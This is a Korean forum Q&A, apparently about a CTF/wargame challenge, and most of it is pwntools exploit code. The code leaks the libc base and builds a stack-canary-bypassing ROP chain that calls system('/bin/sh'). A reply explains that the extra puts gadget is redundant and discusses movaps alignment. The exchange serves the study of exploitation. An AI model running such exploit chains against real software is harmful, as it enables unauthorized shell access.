p.sendafter("Buf: ", payload_2)
base = u64(p.recv(6) +b'\x00\x00') - libc.symbols['read']
slog("base", base)
system = base + libc.symbols['system']
binsh = base + list(libc.search(b'/bin/sh'))[0]
slog("system", system)
slog("binsh", binsh)
payload_3 = b"A"*56
payload_3 += p64(cnry)
payload_3 += b"B"*8
payload_3 += p64(pop_rdi)
payload_3 += p64(read_got)
payload_3 += p64(puts_plt)
payload_3 += p64(pop_rdi)
payload_3 += p64(binsh)
payload_3 += p64(system)
time.sleep(1)
p.sendafter("Buf: ", payload_3)
필요한 정보를 다 leak 한 후에 main을 다시 호출해서 마지막 payload_3을 호출했습니다.
마지막 payload부분이 도저히 안 돼서 참고하여 풀었는데, p64(pop_rdi) + p64(read_got) + p64(puts_plt)의 역할이 뭔지 모르겠습니다.. read_got를 인자로 puts_plt를 마지막에 호출해주는 이유가 없는 거 같은데 호출해주는 이유가 뭔가요?
필요한 정보를 다 leak 했으면 p64(pop_rdi) + p64(read_got) + p64(puts_plt) 과정은 굳이 필요 없는 과정인 것 같긴하네요. main을 다시 호출해서 payload_3을 호출했다고 하신 것을 봤을때는 movaps 이슈가 발생하셨던 것 같은데, 아마 p64(pop_rdi) + p64(read_got) + p64(puts_plt) 대신에 ret 가젯만 넣어주셔도 풀리지 않을까 싶네요.